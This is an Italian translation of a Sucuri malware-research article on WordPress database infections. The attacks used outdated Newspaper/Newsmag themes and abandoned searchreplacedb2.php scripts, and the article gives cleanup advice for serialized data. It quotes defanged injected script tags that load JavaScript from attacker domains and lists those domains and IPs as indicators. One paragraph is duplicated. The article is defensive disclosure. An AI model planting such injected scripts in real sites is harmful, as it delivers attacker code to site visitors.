Temi WordPress non aggiornati, script abbandonati e dati serializzati hackerati
Traduzione autorizzata da Sucuri che detiene il copyright dell’articolo. Leggi l’articolo originale (in Inglese)
Durante l’estate abbiamo visto onde di infezioni di database di WordPress che utilizzano vulnerabilità nei temi del newpaper / newsmag relativi ai TagDiv o negli script di ricerca e sostituzione di interconnect IT (searchreplacedb2.php).
Le iniezioni vanno da script di annunci provenienti da reti pubblicitarie consolidate come shorte.st a nuovi domini creati appositamente per quegli attacchi.
Tipici script iniettati sembrano essere così:
<s cript type = ‘text / javascript’ src = ‘hxxps: //con1.sometimesfree [.] biz / c.js’> </ script>
O:
<s cript type = “text / javascript”> var t = documento.createElement (“script”);
t.type = “text / javascript”; t.src = “hxxps: // src [.] dancewithme [.] biz / src.js”;
document.head.appendChild (t); </ script>
O:
newspaper-theme-mod-code-snippet
Gli URL pericolosi più evidenti che abbiamo visto recentemente sono:
con1.sometimesfree [.] biz / c.js (185.82.217.166 Bulgaria)
java.sometimesfree [.] biz / counter.js (185.82.217.166 Bulgaria)
javascript.sometimesfree [.] biz / script.js (185.82.217.166 Bulgaria)
js.givemealetter [.] biz / script.js (185.82.217.166 Bulgaria)
go.givemealetter [.] biz / click.html (185.82.217.166 Bulgaria)
traffictrade [.] life / scripts.js (200.7.105.43 Regno Unito)
blue.traffictrade [.] life / main.js (200.7.105.43 Regno Unito)
js.trysomethingnew [.] eu / analytics.js (94.156.144.19 Bulgaria)
get.simplefunsite [.] info / rw.js (non risolverà atm)
post.simplefunsite [.] info / go.php? rewrite = 81 (non risolverà atm)
src.dancewithme [.] biz / src.js (185.159.82.2 – Russia)
go.dancewithme [.] biz / red.php (185.159.82.2 – Russia)
Sono tutti nuovi domini registrati specificamente per questo attacco:
traffictrade [.] vita – creata il 3 luglio 2017
trysomethingnew [.] eu – creato l’11 agosto 2017
sometimesfree [.] biz – creato il 22 agosto 2017
givemealetter [.] biz – creato il 27 agosto 2017
simplefunsite.info – creato il 2 settembre 2017
dancewithme [.] biz – creato il 5 settembre 2017
Malware nel database di WordPress
Nella maggior parte dei casi gli script vengono iniettati proprio prima di <a href nei contenuti post (wp_posts), il che significa che i webmaster potrebbero aver bisogno di rimuovere più script iniettati da centinaia di messaggi nel database – sicuramente non un lavoro che si desidera eseguire manualmente!
Ci sono alcuni strumenti e script personalizzati che possono aiutare a rimuovere i contenuti dannosi dal database, ma ci sono anche delle insidie. Gli hacker non limitano questo attacco solo alla tabella wp_posts. Essi anche iniettano gli script nella tabella wp_options, che di solito memorizza il codice per vari widget e le impostazioni di tema / plugin. In molti casi, i valori wp_options sono serializzati.
Se si rimuove semplicemente lo script dannoso direttamente dal database, si romperà la serializzazione perché il formato si basa su determinate lunghezze dei valori di stringa. Se le lunghezze non corrispondono, i valori serializzati non verranno caricati – e potrebbero rompere un plugin / widget e talvolta possono anche impedire che un sito web venga caricato correttamente.
Infezione dei dati seriali
Come riescono gli hacker ad iniettare gli script all’interno dei dati serializzati senza rompere i siti web? Come abbiamo accennato, questi attacchi utilizzano vulnerabilità nelle vecchie versioni di temi di Newspaper / Newsmag e del programma interconnect IT Search and Replace.
In caso di temi di Newspaper / Newsmag, i temi effettivamente serializzano e salvano i dati per l’attaccante (nella tabella wp_options) quando sfruttano la vulnerabilità creando una richiesta POST dannosa al file admin-ajax.php. Questo vettore limita l’infezione iniziale alla tabella wp_options. In questo caso, di solito tutto quello che dovete fare è trovare l’opzione di tema contaminata nell’area di amministrazione di WordPress (di solito nella sezione “Ads” o “Custom Javascript” del tema) e rimuovere lo script iniettato. Dopo aver fatto questo, WordPress salverà i nuovi dati serializzati correttamente.
Abuso dello script DB Search and Replace
Il vettore di ricerca e sostituzione è più complesso. In questo caso, gli hacker utilizzano il file searchreplacedb2.php (il legittimo strumento di ricerca e sostituzione del programma Interconnect IT).
Ecco come questo attacco esamina nei log di accesso:
Questo è uno strumento specificamente progettato per funzionare con il database di WordPress. Carica automaticamente le credenziali di database dal file wp-config.php in modo che gli hacker non debbano persino indovinare (o tentare di rubarli).
Quello che è importante è che questo strumento è consapevole del fatto che è comune per WordPress salvare i dati serializzati nel database, in modo che tutte le operazioni di ricerca e sostituzione funzionino correttamente con i valori seriali.
Approcci di pulizia
Con questo vettore, i webmaster dovrebbero fare attenzione a rimuovere correttamente il malware dal database. Un modo per farlo è utilizzare l’interfaccia admin di WordPress, pulendo ogni post uno a uno. Il passo successivo consiste nell’individuare ogni widget o forma che contiene i dati infetti nelle opzioni di tema / plugin.
Approcci di pulizia
Con questo vettore, i webmaster dovrebbero fare attenzione a rimuovere correttamente il malware dal database. Un modo per farlo è utilizzare l’interfaccia admin di WordPress, pulendo ogni post uno a uno. Il passo successivo consiste nell’individuare ogni widget o forma che contiene i dati infetti nelle opzioni di tema / plugin.
Tuttavia, questo approccio è troppo laborioso: i webmaster potrebbero aver bisogno di risolvere manualmente centinaia di post e verificare decine di opzioni. Non è anche affidabile: i webmaster potrebbero perdere alcuni messaggi / widget / opzioni infette, e alcune opzioni potrebbero non avere nemmeno una GUI per modificarle.
La soluzione più efficace sarebbe quella di utilizzare strumenti di ricerca e sostituzione specializzati o plugin WordPress che funzionino correttamente con i dati serializzati.
L’ironia è lo script searchreplacedb2.php che gli hacker utilizzano per queste infezioni è uno strumento che puoi utilizzare per pulire il tuo sito. Questo strumento è ugualmente buono per infettare un sito web e invertire l’infezione.
Se hai inserito questo script sul tuo sito per eseguire le attività di manutenzione dei database e poi è stato utilizzato dagli hacker per infettare i tuoi siti (perché hai dimenticato di rinominarlo durante l’uso e di eliminarlo), allora dovresti usarlo ancora una volta prima di finalmente cancellarlo dal tuo server.
È possibile cercare nel database lo script dannoso iniettato e sostituirlo con una stringa vuota (o con uno spazio se la stringa vuota non viene accettata come sostituzione).
Conclusione
La maggior parte delle moderne applicazioni CMS memorizzano i dati e le impostazioni nel database, quindi per gli hacker, avere accesso diretto al database può essere altrettanto utile quanto avere accesso ai file sul server.
Ci sono più vettori conosciuti per attacchi di database. In questo caso, gli hacker utilizzavano due vettori piuttosto diversi: una vulnerabilità nelle vecchie versioni dei temi di WordPress popolari e negli script di gestione dei database abbandonati in sezioni pubbliche accessibili di siti web.
La lezione principale di queste infezioni sono:
- Tieni aggiornati i temi e i plugin. Anche quelli premium. La versione del tema Newspaper dovrebbe essere almeno 6.7.2 e Newsmag dovrebbe essere almeno 3.0. Oppure utilizzare un firewall che blocca gli attacchi che tentano di sfruttare le vulnerabilità conosciute (e sconosciute) nel vecchio software.
- Non abbandonare gli script di manutenzione sul tuo sito. Quando li utilizzate, assicuratevi che non possano essere abusati da chiunque altro. Rinominarli per evitare scoperte facili, proteggere la password se possibile e rimuoverle immediatamente al termine dell’attività.
- Le infezioni di database di WordPress richiedono un’attenzione particolare. Se un malware viene iniettato in un dato serializzato, non è possibile rimuoverlo direttamente dal database. È necessario preservare l’integrità dei dati serializzati o rischiare di rompere il tuo sito. Se non è ti senti a tuo agio modificare manualmente i dati serializzati, utilizza software di seach and replace per database. Ma non dimenticare la lezione # 2 – non abbandonare gli strumenti di manutenzione in accesso pubblico!
di Denis Sinegubko
Denis is a Senior Malware Researcher at Sucuri.
Lascia un commento